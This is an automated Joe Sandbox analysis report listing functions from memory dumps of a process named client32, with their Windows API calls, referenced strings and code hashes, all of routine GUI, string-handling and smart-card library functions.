EnterCriticalSection.KERNEL32(6EF3B898,?,?,?,00000000), ref: 6EEF7EB7
LeaveCriticalSection.KERNEL32(6EF3B898,?,?,?,00000000), ref: 6EEF7ED0

Strings

b, xrefs: 6EEF7EA2
RESULT, xrefs: 6EEF7E40

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID: RESULT$b
API String ID: 3168844106-4141403093
Opcode ID: 7cb9d696ff9f3dd40f974832bb9cdf6b309cc0da57febde2827318d90afd8677
Instruction ID: 579574108eccf15729833503efba3ce56d20fda23f6a4db3832675aab57575a9
Opcode Fuzzy Hash: 7cb9d696ff9f3dd40f974832bb9cdf6b309cc0da57febde2827318d90afd8677
Instruction Fuzzy Hash: D6113AB1C10609AFDF50CFE4C8257EEBBF5BF09304F1048AAD409E6280E7765A54DBA1

Function 11143070 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

SetBkColor.GDI32(?,?), ref: 11143091
SetRect.USER32(?,?,?,?,?), ref: 111430A9
ExtTextOutA.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 111430C0
SetBkColor.GDI32(?,00000000), ref: 111430C8

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Color$RectText
String ID:
API String ID: 4034337308-0
Opcode ID: 26f6cc05d1df662940a62fe5a538b52049d671c1388398b7ccd782556aa038f2
Instruction ID: e9225e88152d902865c43eb673e3150d6d7e7d22167fd17714d79550e5345a2a
Opcode Fuzzy Hash: 26f6cc05d1df662940a62fe5a538b52049d671c1388398b7ccd782556aa038f2
Instruction Fuzzy Hash: 0C012C7264021CBBDB04DEA8DD81FEFB3ACEF49604F104159FA15A7280DAB0AD018BA5

Function 110675A0 Relevance: 6.0, APIs: 4, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 110675BB
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 110675EC
DispatchMessageA.USER32(?), ref: 110675F6
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 11067604

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchEvent
String ID:
API String ID: 4257095537-0
Opcode ID: 3db10011ce53d706413e1f321e5ef86fa62babbb723f360e03787fab8b25e9f7
Instruction ID: aec9ad63bee144445ad482119ba180fbd35a23c038e7556534d76a428b5108da
Opcode Fuzzy Hash: 3db10011ce53d706413e1f321e5ef86fa62babbb723f360e03787fab8b25e9f7
Instruction Fuzzy Hash: E701B171A40205ABE704DE94CC81F96B7ADAB88714F5001A5FA14AF1C5EBB5A541CBF0

Function 1115F1F0 Relevance: 6.0, APIs: 4, Instructions: 26COMMON

Download Yara Rule

APIs

GlobalDeleteAtom.KERNEL32(00000000), ref: 1115F208
GlobalDeleteAtom.KERNEL32 ref: 1115F212
GlobalDeleteAtom.KERNEL32 ref: 1115F21C
SetWindowLongA.USER32(?,000000FC,?), ref: 1115F22C

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AtomDeleteGlobal$LongWindow
String ID:
API String ID: 964255742-0
Opcode ID: 6d1c3e4c7ba79be894aa668b9e160f569f6102aeba86935b87fce5edf1bf1130
Instruction ID: 220dc2ec1870e2cd5bb434e19042b50d90bfbecd9004e1d9cbcb935e023cb0cc
Opcode Fuzzy Hash: 6d1c3e4c7ba79be894aa668b9e160f569f6102aeba86935b87fce5edf1bf1130
Instruction Fuzzy Hash: 97E065B910423697C7149F6AAC40D72F3ECAF98614715452DF175C3594C778D445DB70

Function 11007255 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185windowCOMMON

Download Yara Rule

APIs

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

CreateWindowExA.USER32(00000000,edit,00000000,40040004,?,?,?,?,?,00000002,00000000,?), ref: 110073A7
SetFocus.USER32(?), ref: 11007403

Strings

edit, xrefs: 110073A1

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateFocusWindow_malloc_memsetwsprintf
String ID: edit
API String ID: 1305092643-2167791130
Opcode ID: 08210b6cc54d90016c50a1c773d08534ce649efc3e71ddb39b7928ec6fe8f9a3
Instruction ID: e81607fb03d3f2f95005a1d43bd356d739516b9639758e6caabf034df3046c31
Opcode Fuzzy Hash: 08210b6cc54d90016c50a1c773d08534ce649efc3e71ddb39b7928ec6fe8f9a3
Instruction Fuzzy Hash: A2519FB5A00606AFE715CF64DC81BAFB7E5FB88354F118569E955C7340EB34AA02CB60

Function 11009270 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 110092E5
_memmove.LIBCMT ref: 11009336

Part of subcall function 11008DD0: std::_Xinvalid_argument.LIBCPMT ref: 11008DEA

Strings

string too long, xrefs: 110092E0

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: string too long
API String ID: 2168136238-2556327735
Opcode ID: 22491d451eb23d87cec3ea30fc5d884b072beb3f123d3bfee90730829ce68beb
Instruction ID: dd3894f676f01ff6a75acb4aa2435548b18b289b65f075ee81d5ee4d5d084719
Opcode Fuzzy Hash: 22491d451eb23d87cec3ea30fc5d884b072beb3f123d3bfee90730829ce68beb
Instruction Fuzzy Hash: 8C31DB72B046108BF720DE9DE88099EF7EDEB957B4B20491FE589C7680E771AC4087A0

Function 110E1260 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 110E12C3
_memmove.LIBCMT ref: 110E131D

Strings

string too long, xrefs: 110E12BE

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Xinvalid_argument_memmovestd::_
String ID: string too long
API String ID: 256744135-2556327735
Opcode ID: f63589a1e1e49e26468f6bc49513f74121357c805117a5e251a3e538b8b1e039
Instruction ID: 4942d9d917c342fdb8aca387283afa0bcd15718542992abc979dc690a8db670a
Opcode Fuzzy Hash: f63589a1e1e49e26468f6bc49513f74121357c805117a5e251a3e538b8b1e039
Instruction Fuzzy Hash: 7931B372B152058F8724DE9EEC848EEF7EAEFD57613104A1FE442C7640DB31AC5187A1

Function 1103B150 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 1103B162
_free.LIBCMT ref: 1103B25B

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

CLTCONN.CPP, xrefs: 1103B175

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcess_calloc_freewsprintf
String ID: CLTCONN.CPP
API String ID: 183652615-2872349640
Opcode ID: 8337f5e747ebaeb2686f90dd4bebe07236585bab06edcc3415c76220b6505581
Instruction ID: 20d7259e8fe77d3daff0af84d5ff1d15e913130fc2269d1c6afd747bd8efee53
Opcode Fuzzy Hash: 8337f5e747ebaeb2686f90dd4bebe07236585bab06edcc3415c76220b6505581
Instruction Fuzzy Hash: F231C875A10B069AD310CF95C881BB7F3E4FF44318F048669E9598B641F774F905C3A5

Function 1108F720 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

std::exception::exception.LIBCMT ref: 1108F7BC
__CxxThrowException@8.LIBCMT ref: 1108F7D1

Strings

L, xrefs: 1108F805

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Exception@8Throw_malloc_memsetstd::exception::exceptionwsprintf
String ID: L
API String ID: 1338273076-2909332022
Opcode ID: 95ac659df3cb43b7a394a31561a0db95ca543259b56f7bb8d276c069331ce165
Instruction ID: 369f405687447c84649efdd58832c02068d177a3a0274ca2d5cff2ffa4839110
Opcode Fuzzy Hash: 95ac659df3cb43b7a394a31561a0db95ca543259b56f7bb8d276c069331ce165
Instruction Fuzzy Hash: 9F3160B5D04259AEEB11DFA4C840BDEFBF8FB08314F14426EE915A7280D775A904CBA1

Function 110AD1B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110AD1E3

Part of subcall function 110ACEB0: LoadLibraryA.KERNEL32(Winscard.dll,00000000,00000000,110AD1F3,00000000,00000001,00000000,?,11185738,000000FF,?,110ADC42,?,?,00000200,?), ref: 110ACEC4
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(00000000,SCardEstablishContext), ref: 110ACEE1
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardReleaseContext), ref: 110ACEEE
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardIsValidContext), ref: 110ACEFC
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardListReadersA), ref: 110ACF0A
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardGetStatusChangeA), ref: 110ACF18
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardCancel), ref: 110ACF26
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardFreeMemory), ref: 110ACF34
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardConnectA), ref: 110ACF42
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardDisconnect), ref: 110ACF50
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardGetAttrib), ref: 110ACF5E
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardControl), ref: 110ACF6C
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardListCardsA), ref: 110ACF7A
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardGetCardTypeProviderNameA), ref: 110ACF88
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardBeginTransaction), ref: 110ACF96
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardEndTransaction), ref: 110ACFA4
Part of subcall function 110ACEB0: GetProcAddress.KERNEL32(?,SCardReconnect), ref: 110ACFB2

FreeLibrary.KERNEL32(00000000,?,110ADC42,?,?,00000200,?,?,00000400,?,110F4A31,00000000,00000000,?,?,?), ref: 110AD252

Strings

winscard.dll is NOT valid!!!, xrefs: 110AD1FD

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$Library$FreeLoad_memset
String ID: winscard.dll is NOT valid!!!
API String ID: 212038770-1939809930
Opcode ID: 2490663d4c0d4ec01f8a7efd0df3ebe9692d3296733f7b5ae7fba3cdb2ac2a80
Instruction ID: 57730f506c13caa9e6db9d6f73070caca170ae8d01d94efb838e03e2302413b1
Opcode Fuzzy Hash: 2490663d4c0d4ec01f8a7efd0df3ebe9692d3296733f7b5ae7fba3cdb2ac2a80
Instruction Fuzzy Hash: 6521B3B6D40629ABDB10CF95DC44EEFFBB8EB45660F00861AFC15A3340D631A904CBE0

Function 1100F2A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 1100F2BB

Part of subcall function 11161299: std::exception::exception.LIBCMT ref: 111612AE
Part of subcall function 11161299: __CxxThrowException@8.LIBCMT ref: 111612C3
Part of subcall function 11161299: std::exception::exception.LIBCMT ref: 111612D4

std::_Xinvalid_argument.LIBCPMT ref: 1100F2D2

Strings

string too long, xrefs: 1100F2B6, 1100F2CD

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw
String ID: string too long
API String ID: 963545896-2556327735
Opcode ID: 75f838df1ffa959431b4a62d365d349d8fd4399dcfd8cc9140359aaa01b8e6d6
Instruction ID: 9c03118c2fef7a30d7f16138fb3dcb5344bdbe7bcaefeaa8633fdbb4ef9eb1a5
Opcode Fuzzy Hash: 75f838df1ffa959431b4a62d365d349d8fd4399dcfd8cc9140359aaa01b8e6d6
Instruction Fuzzy Hash: E711E9737006148FF321D95DA880BAAF7EDEF957B4F60065FE591CB640C7A1A80083A1

Function 110232A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetDlgItemTextA.USER32(?,?,?,00000100), ref: 110232D7
SetDlgItemTextA.USER32(?,?,?), ref: 1102335F

Strings

..., xrefs: 1102331A

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ItemText
String ID: ...
API String ID: 3367045223-440645147
Opcode ID: 3c7fd1be2824b6022330b2e6fcbe42859dc36aafcf172dfa7595ecaab8fe21c6
Instruction ID: 288fafb08c6b2ba60c27d59f26b93e6fc9d809d534a4309207b318a271e26125
Opcode Fuzzy Hash: 3c7fd1be2824b6022330b2e6fcbe42859dc36aafcf172dfa7595ecaab8fe21c6
Instruction Fuzzy Hash: 1121A2756046199BCB24CF68C880FEAF7F9AF99304F1081D9E58997240DAB0AD85CF90

